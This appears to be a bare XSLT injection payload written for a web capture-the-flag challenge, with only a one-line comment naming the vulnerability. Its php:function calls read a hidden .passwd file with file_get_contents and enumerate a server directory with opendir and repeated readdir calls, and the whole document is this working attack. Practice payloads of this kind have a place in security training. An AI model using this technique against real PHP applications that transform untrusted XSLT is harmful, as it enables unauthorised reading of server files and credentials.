Untitled

<!-- XSLT vulnerability -->

<?xml version="1.0" encoding="UTF-8"?> <html xsl:version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:php="http://php.net/xsl">
	<body style="font-family:Arial;font-size:9pt;background-color:#AABBCC">

	Version: <xsl:value-of select="system-property('xsl:version')" /><br />
	<xsl:value-of select="php:function('file_get_contents','/challenge/web-serveur/ch50/.6ff3200bee785801f420fba826ffcdee/.passwd')"/>

	<xsl:value-of select="php:function('opendir','/challenge/web-serveur/ch50/')"/>
	--
	<xsl:value-of select="php:function('readdir')"/>
	--
	<xsl:value-of select="php:function('readdir')"/>
	--
	<xsl:value-of select="php:function('readdir')"/>
	--
	<xsl:value-of select="php:function('readdir')"/>
	--
	<xsl:value-of select="php:function('readdir')"/>
	--
	<xsl:value-of select="php:function('readdir')"/>
	--
	<xsl:value-of select="php:function('readdir')"/>
	--
	<xsl:value-of select="php:function('readdir')"/>
	--
	<xsl:value-of select="php:function('readdir')"/>
	--
	<xsl:value-of select="php:function('readdir')"/>
	--
	<xsl:value-of select="php:function('readdir')"/>

	</body>
</html>